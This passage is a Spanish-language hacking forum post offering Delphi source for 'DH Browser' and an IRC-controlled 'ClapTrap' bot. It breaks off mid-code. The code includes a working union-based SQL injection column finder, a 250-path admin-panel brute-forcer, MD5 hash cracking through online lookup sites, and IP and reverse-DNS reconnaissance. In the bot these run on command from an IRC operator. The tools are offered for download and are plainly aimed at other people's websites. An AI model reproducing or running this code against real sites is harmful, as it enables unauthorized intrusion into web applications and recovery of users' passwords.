    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      total: integer;

    begin

      total := 0;
      sProgressBar1.Min := 0;
      sProgressBar1.Max := 100;

      For i := 1 to 100 do
      begin

        Form1.Update;

        Sleep(1000);
        // Sleep(1);

        total := total + 10;

        sProgressBar1.Position := total;

        if (sProgressBar1.Position = 100) then
        begin
          Timer1.Enabled := False;
          Form1.Hide;
          Form2.Show;
          Abort;
        end;
      end;

    end;

    end.

    // The End ?


    Navegador

    Código (delphi) [Seleccionar]

    // DH Browser 0.2
    // (C) Doddy Hackman 2013
    // Credits :
    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
    // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

    unit programa;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
      sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
      ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;

    type
      TForm2 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        sButton1: TsButton;
        sGroupBox2: TsGroupBox;
        sMemo1: TsMemo;
        sCheckBox1: TsCheckBox;
        sGroupBox3: TsGroupBox;
        sStatusBar1: TsStatusBar;
        WebBrowser1: TWebBrowser;
        sGroupBox4: TsGroupBox;
        sButton2: TsButton;
        sButton3: TsButton;
        sGroupBox5: TsGroupBox;
        sButton4: TsButton;
        sLabel1: TsLabel;
        Image1: TImage;
        sMemo2: TsMemo;
        PopupMenu1: TPopupMenu;
        S1: TMenuItem;
        S2: TMenuItem;
        IdHTTP1: TIdHTTP;
        PerlRegEx1: TPerlRegEx;
        FindDialog1: TFindDialog;
        sProgressBar1: TsProgressBar;
        procedure sButton1Click(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure S2Click(Sender: TObject);
        procedure sButton3Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure FindDialog1Find(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
        procedure WebBrowser1ProgressChange(ASender: TObject;
          Progress, ProgressMax: Integer);
        procedure WebBrowser1DownloadComplete(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure TForm2.FindDialog1Find(Sender: TObject);

    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

    var
      aca: PChar;
      aca2: PChar;
      acatoy: PChar;
      acatoy2: Word;

    begin

      With Sender as TFindDialog do

      begin

        GetMem(aca2, Length(FindText) + 1);
        StrPCopy(aca2, FindText);

        acatoy2 := sMemo2.GetTextLen + 1;
        GetMem(aca, acatoy2);

        sMemo2.GetTextBuf(aca, acatoy2);

        acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
        acatoy := StrPos(acatoy, aca2);

        if not(acatoy = NIL) then
        begin
          sMemo2.SelStart := acatoy - aca;
          sMemo2.SelLength := Length(FindText);
        end;

        sMemo2.SetFocus;

      end;

    end;

    procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm2.S1Click(Sender: TObject);
    begin
      WebBrowser1.Visible := false;
      sMemo2.Visible := True;
    end;

    procedure TForm2.S2Click(Sender: TObject);
    begin
      WebBrowser1.Visible := True;
      sMemo2.Visible := false;
    end;

    procedure TForm2.sButton1Click(Sender: TObject);

    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

    var

      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      uno := navNoReadFromCache or navNoWriteToCache;
      dos := '';
      tres := '';

      if (sCheckBox1.Checked) then
      begin
        cabeceras := sMemo1.Text;
        WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
      end
      else
      begin
        cabeceras := '';
        WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
      end;
    end;

    procedure TForm2.sButton2Click(Sender: TObject);
    var
      pass1: string;
      pass2: string;
      code: string;
      urltest: string;
      urlgen: string;
      full: string;
      codedos: string;
      i: Integer;

    begin

      sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
      Form2.sStatusBar1.Update;

      pass1 := '+';
      pass2 := '--';

      urltest := 'concat(0x4b30425241,1,0x4b30425241)';

      sStatusBar1.Panels[0].Text := '[+] Checking ...';
      Form2.sStatusBar1.Update;

      code := IdHTTP1.Get
        (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

      codedos := IdHTTP1.Get
        (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);

      if not(code = codedos) then
      begin

        sStatusBar1.Panels[0].Text := '[+] Finding columns number';
        Form2.sStatusBar1.Update;

        urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
          'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
        urlgen := '1';
        for i := 2 to 36 do
        begin
          sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
          Form2.sStatusBar1.Update;
          urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
            + ',0x4b30425241)';
          urlgen := urlgen + ',' + IntToStr(i);
          code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
          PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
          PerlRegEx1.Subject := code;

          if PerlRegEx1.Match then
          begin

            urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
              'hackman', []);
            full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
              'union' + pass1 + 'select' + pass1 + urlgen;

            sEdit1.Text := full;
            Abort;

          end;
        end;
      end;

      sStatusBar1.Panels[0].Text := '[+] Done';
      Form2.sStatusBar1.Update;

    end;

    procedure TForm2.sButton3Click(Sender: TObject);
    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php',
        'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
        'admin/default.php', 'administracion/', 'administracion/index.php',
        'administracion/login.php', 'administracion/ingresar.php',
        'administracion/admin.php', 'administration/', 'administration/index.php',
        'administration/login.php', 'administrator/index.php',
        'administrator/login.php', 'administrator/system.php', 'system/',
        'system/login.php', 'admin.php', 'login.php', 'administrador.php',
        'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
        'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
        'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
        'admin/index.html', 'admin/login.html', 'admin/home.php',
        'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
        'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
        'administrator/index.html', 'administrator/login.html',
        'administrator/account.html', 'administrator/account.php',
        'administrator.html', 'login.html', 'modelsearch/login.php',
        'moderator.php', 'moderator.html', 'moderator/login.php',
        'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
        'moderator/', 'account.php', 'account.html', 'controlpanel/',
        'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
        'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
        'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
        'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
        'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
        'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
        'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
        'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
        'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
        'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
        'system_administration/', 'ss_vms_admin_sm/');
    var
      IdHTTP: TIdHTTP;
      i: Integer;
      control: Integer;
    begin

      control := 0;

      sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
      Form2.sStatusBar1.Update;

      IdHTTP := TIdHTTP.Create(nil);

      for i := Low(paginas) to High(paginas) do

        if (control = 1) then
        begin
          Abort;
        end
        else
        begin

          try

            sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
            Form2.sStatusBar1.Update;

            IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
            if IdHTTP.ResponseCode = 200 then
            begin

              sStatusBar1.Panels[0].Text := '[+] Done';
              Form2.sStatusBar1.Update;
              sEdit1.Text := sEdit1.Text + '/' + paginas[i];
              control := 1;
            end;
          except
            on E: EIdHttpProtocolException do
              ;
            on E: Exception do
              ;
          end;

        end;

      sStatusBar1.Panels[0].Text := '[+] Done';
      Form2.sStatusBar1.Update;

    end;

    procedure TForm2.sButton4Click(Sender: TObject);
    begin
      FindDialog1.Execute;
    end;

    procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
    var
      buscador: IHTMLElement;
    begin

      sProgressBar1.Position := 0;

      // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

      begin

        try
          begin

            sMemo2.Clear;

            buscador := (WebBrowser1.Document AS IHTMLDocument2).body;

            while not(buscador.parentElement = nil) do
            begin
              buscador := buscador.parentElement;
            end;
            sMemo2.Lines.Add(buscador.outerHTML);
          end;
        except
          // ??
        end;
      end;
    end;

    procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    begin
      sProgressBar1.Max := ProgressMax;
      sProgressBar1.Position := Progress;
    end;

    end.

    // The End ?



    Si lo quieren bajar lo pueden hacer de aca.

#146
Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

  • Busca panel de administracion
  • Localiza IP y sus DNS
  • Crackea hashes MD5
  • Y scannea SQLI

    Unas imagenes :





    Menu de carga

    Código (delphi) [Seleccionar]

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit clap;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
      sGroupBox, sButton, sLabel;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sProgressBar1: TsProgressBar;
        Timer1: TTimer;
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses menu;
    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);

    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;

    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      total: integer;

    begin

      total := 0;
      sProgressBar1.Min := 0;
      sProgressBar1.Max := 100;

      For i := 1 to 100 do
      begin

        Form1.Update;

        Sleep(1000);

        total := total + 10;

        sProgressBar1.Position := total;

        if (sProgressBar1.Position = 100) then
        begin
          Timer1.Enabled := False;
          Form1.Hide;
          Form2.Show;
          Abort;
        end;
      end;

    end;

    end.

    // The End ?


    Menu

    Código (delphi) [Seleccionar]

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit menu;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
      sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
      IdMultipartFormData, IdHTTP;

    type
      TForm2 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sLabel2: TsLabel;
        sLabel3: TsLabel;
        sLabel4: TsLabel;
        sEdit1: TsEdit;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sEdit4: TsEdit;
        sButton1: TsButton;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        Image1: TImage;
        sGroupBox2: TsGroupBox;
        sMemo1: TsMemo;
        Image2: TImage;
        PerlRegEx1: TPerlRegEx;
        IdIRC1: TIdIRC;
        PerlRegEx2: TPerlRegEx;
        IdHTTP1: TIdHTTP;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
          AHost, ANicknameTo, AMessage: string);

        procedure FormCreate(Sender: TObject);

        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;
    end;

    procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);

    var
      rta: string;
      z: integer;
      par: TIdMultiPartFormDataStream;
      target: string;

    var
      IdHTTP: TIdHTTP;
      i: integer;

    var
      url: string;
      urldos: string;
      code: string;
      codedos: string;
      pass1: string;
      pass2: string;
      urltest: string;
      urlgen: string;

    var
      hextest: string;
      web1: string;
      web2: string;
      web3: string;
      full: string;

    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php',
        'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
        'admin/default.php', 'administracion/', 'administracion/index.php',
        'administracion/login.php', 'administracion/ingresar.php',
        'administracion/admin.php', 'administration/', 'administration/index.php',
        'administration/login.php', 'administrator/index.php',
        'administrator/login.php', 'administrator/system.php', 'system/',
        'system/login.php', 'admin.php', 'login.php', 'administrador.php',
        'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
        'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
        'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
        'admin/index.html', 'admin/login.html', 'admin/home.php',
        'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
        'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
        'administrator/index.html', 'administrator/login.html',
        'administrator/account.html', 'administrator/account.php',
        'administrator.html', 'login.html', 'modelsearch/login.php',
        'moderator.php', 'moderator.html', 'moderator/login.php',
        'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
        'moderator/', 'account.php', 'account.html', 'controlpanel/',
        'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
        'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
        'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
        'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
        'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
        'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
        'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
        'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
        'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
        'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
        'system_administration/', 'ss_vms_admin_sm/');

    begin
      if ANicknameFrom = sEdit4.Text then
      begin

        // Help

        PerlRegEx1.Regex := '!help';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
          IdIRC1.Say(ANicknameFrom, '!locateip <target>');
          IdIRC1.Say(ANicknameFrom, '!panel <target>');
          IdIRC1.Say(ANicknameFrom, '!sqli <target>');
          IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
          IdIRC1.Say(ANicknameFrom, '!help <?>');
          IdIRC1.Say(ANicknameFrom, 'Good Bye');
        end;

        //

        // LocateIP

        PerlRegEx1.Regex := '!locateip (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Working');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');

          par := TIdMultiPartFormDataStream.Create;
          par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);

          rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

          PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
          PerlRegEx2.Subject := rta;

          if PerlRegEx2.Match then
          begin
            target := PerlRegEx2.SubExpressions[2];

            rta := IdHTTP1.Get(
              'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
                target);

            PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
                );

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
            end;

            PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
                  [2]);

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
            end;

            PerlRegEx2.Regex :=
              'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
                  [2]);
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
            end;

            //

            // Get DNS

            rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);

            PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
            PerlRegEx2.Subject := rta;

            while PerlRegEx2.MatchAgain do
            begin
              for z := 1 to PerlRegEx2.SubExpressionCount do
                IdIRC1.Say(ANicknameFrom,
                  '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
            end;

          end;

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');

          //
        end;

        //

        // PanelFinder

        PerlRegEx1.Regex := '!panel (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          //

          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');

          sMemo1.Lines.Add('[+] PanelFinder : Working');

          try

            IdHTTP := TIdHTTP.Create(nil);

            for i := Low(paginas) to High(paginas) do
              try

                sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
                Form2.sStatusBar1.Update;

                IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
                if IdHTTP.ResponseCode = 200 then
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
                      + '/' + paginas[i]);
              except
                on E: EIdHttpProtocolException do
                  ;
                on E: Exception do
                  ;
              end;
          finally
            IdHTTP.Free;
          end;

          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');

          sMemo1.Lines.Add('[+] PanelFinder : Finished');

          //
        end;

        //

        // Crack MD5

        PerlRegEx1.Regex := '!crackmd5 (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Working');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');

          sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
          Form2.sStatusBar1.Update;

          rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
              PerlRegEx1.SubExpressions[1]);

          PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
          PerlRegEx2.Subject := rta;
          if PerlRegEx2.Match then
          begin
            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                + ':' + PerlRegEx2.SubExpressions[2]);
          end
          else
          begin

            rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
                PerlRegEx1.SubExpressions[1]);

            PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then

            begin

              if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
              begin
                IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                    + ':' + PerlRegEx2.SubExpressions[1]);
              end
              else

              begin

                sStatusBar1.Panels[0].Text :=
                  '[+] Searching in md52.altervista.org ...';
                Form2.sStatusBar1.Update;

                rta := IdHTTP1.Get
                  ('http://md52.altervista.org/index.php?md5=' +
                    PerlRegEx1.SubExpressions[1]);

                PerlRegEx2.Regex :=
                  '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
                PerlRegEx2.Subject := rta;

                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                      + ':' + PerlRegEx2.SubExpressions[1]);
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
                end;
              end;

            end;
          end;

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');

        end;

        //

        // SQLI Scanner

        PerlRegEx1.Regex := '!sqli (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then

        begin

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] SQLI Scanner : Working');

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');

          pass1 := '+';
          pass2 := '--';

          urltest := 'concat(0x4b30425241,1,0x4b30425241)';

          sStatusBar1.Panels[0].Text := '[+] Checking ...';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] Checking ...');

          code := IdHTTP1.Get
